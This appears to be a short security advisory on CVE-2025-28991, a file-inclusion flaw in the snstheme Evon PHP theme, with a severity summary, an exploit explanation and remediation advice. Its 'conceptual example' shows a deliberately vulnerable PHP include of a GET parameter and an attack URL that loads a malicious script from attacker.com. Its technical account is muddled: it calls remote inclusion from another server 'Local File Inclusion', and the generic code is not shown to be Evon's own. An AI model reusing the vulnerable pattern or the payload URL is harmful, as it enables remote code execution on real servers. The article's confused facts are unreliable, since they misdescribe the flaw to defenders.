Overview
The cybersecurity world is facing a severe challenge with the discovery of a new vulnerability, CVE-2025-28991. This vulnerability lies within snstheme Evon, a PHP program, and is associated with an improper control of filename for Include/Require statement, thereby allowing hackers to exploit PHP local file inclusion. Given the popularity of PHP in web development, this vulnerability has the potential to affect a significant number of systems, raising the stakes for rapid and effective mitigation.
Vulnerability Summary
CVE ID: CVE-2025-28991
Severity: High, with a CVSS score of 8.1
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage
Affected Products
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Product | Affected Versions
snstheme Evon | n/a through 3.4
How the Exploit Works
This exploit works by taking advantage of the improper control of filename for Include/Require statement in PHP programs. By manipulating the filename in the Include/Require statement, an attacker can remotely include a file from a different server, leading to PHP Local File Inclusion. This, in turn, can lead to code execution on the server, data leakage, and potential full system compromise.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited. This example demonstrates a malicious file being included from a remote server:
<?php
$evil_var = $_GET['evil_var'];
include($evil_var);
?>In this example, an attacker could manipulate the ‘evil_var’ GET parameter to include a file from a remote server. For instance, ‘http://target.example.com/vulnerable_script.php?evil_var=http://attacker.com/malicious_script.php’.
This would cause the server to include and execute the malicious_script.php file from the attacker’s server, leading to a successful exploit of the CVE-2025-28991 vulnerability.
Remediation
As a mitigation measure, users are advised to apply the vendor-provided patch as soon as possible. If that is not immediately possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation. Additionally, it is recommended to always sanitize user inputs and avoid using user-supplied input directly in an include or require statement.